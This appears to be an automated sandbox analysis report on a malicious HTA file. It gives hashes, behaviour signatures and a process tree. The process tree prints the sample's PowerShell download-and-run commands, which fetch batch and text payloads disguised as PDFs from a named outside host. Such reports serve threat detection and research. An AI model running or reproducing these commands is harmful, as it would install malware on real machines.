Analysis

  • max time kernel
    135s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/03/2023, 09:14

General

  • Target

    doc(1).hta

  • Size

    863B

  • MD5

    2a876878eb744982978d6fc5228b6316

  • SHA1

    6d01b2eddc73cda76aa99222f8a300c3ee26719b

  • SHA256

    7d574958aa9f19ed8177ed91a0d9a1c0e222fa749046239aee7ff326880ea230

  • SHA512

    6f048014b5efaf1ad7a5c3a2242658854650bc251b80941c9ff9e1e8bf99bf4e04b2384476c741f769e5391e3de2b8d441a793fe0dc128ea84719354127ca5de

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\doc(1).hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2616
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri http://shopdataserver4.sytes.net/pdf/z.pdf -OutFile $env:tmp\kim.bat; Start-Sleep -Seconds 5 C:\Users\Admin\AppData\Local\Temp\kim.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2160
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Invoke-WebRequest -Uri http://shopdataserver4.sytes.net/pdf/z.pdf -OutFile $env:tmp\kim.bat; Start-Sleep -Seconds 5 C:\Users\Admin\AppData\Local\Temp\kim.bat
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2504
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri http://shopdataserver4.sytes.net/pdf/b.pdf -OutFile $env:tmp\Note.txt; Start-Sleep -Seconds 5 C:\Users\Admin\AppData\Local\Temp\Note.txt
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3964
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Invoke-WebRequest -Uri http://shopdataserver4.sytes.net/pdf/b.pdf -OutFile $env:tmp\Note.txt; Start-Sleep -Seconds 5 C:\Users\Admin\AppData\Local\Temp\Note.txt
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3724

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    4280e36a29fa31c01e4d8b2ba726a0d8

    SHA1

    c485c2c9ce0a99747b18d899b71dfa9a64dabe32

    SHA256

    e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

    SHA512

    494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    d13ecbc416db8adee35338bf6940c5f1

    SHA1

    541ad2959a007bffe2ef0383be1bc3894a4e7bd9

    SHA256

    30e62bdcd2582b9f41c10009bec4368278132726c8312e8a28e72ff89c5687a9

    SHA512

    fb021e5b1f008b23e4abc823615316f7ac8dadc0f332f4356f4ebf38317796bd3f60670265620d8d7aa3510c6b88dc3c3ac1518c64a9010bccfa4ef8e77fc107

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n0nopaww.nd2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2504-137-0x00000000052C0000-0x00000000052D0000-memory.dmp

    Filesize

    64KB

  • memory/2504-151-0x0000000007D20000-0x000000000839A000-memory.dmp

    Filesize

    6.5MB

  • memory/2504-138-0x0000000006020000-0x0000000006086000-memory.dmp

    Filesize

    408KB

  • memory/2504-139-0x0000000006090000-0x00000000060F6000-memory.dmp

    Filesize

    408KB

  • memory/2504-135-0x00000000052C0000-0x00000000052D0000-memory.dmp

    Filesize

    64KB

  • memory/2504-149-0x00000000066D0000-0x00000000066EE000-memory.dmp

    Filesize

    120KB

  • memory/2504-150-0x00000000052C0000-0x00000000052D0000-memory.dmp

    Filesize

    64KB

  • memory/2504-133-0x0000000005130000-0x0000000005166000-memory.dmp

    Filesize

    216KB

  • memory/2504-152-0x0000000006BF0000-0x0000000006C0A000-memory.dmp

    Filesize

    104KB

  • memory/2504-136-0x0000000005830000-0x0000000005852000-memory.dmp

    Filesize

    136KB

  • memory/2504-134-0x0000000005900000-0x0000000005F28000-memory.dmp

    Filesize

    6.2MB

  • memory/3724-166-0x0000000004A40000-0x0000000004A50000-memory.dmp

    Filesize

    64KB

  • memory/3724-167-0x0000000004A40000-0x0000000004A50000-memory.dmp

    Filesize

    64KB

  • memory/3724-169-0x0000000004A40000-0x0000000004A50000-memory.dmp

    Filesize

    64KB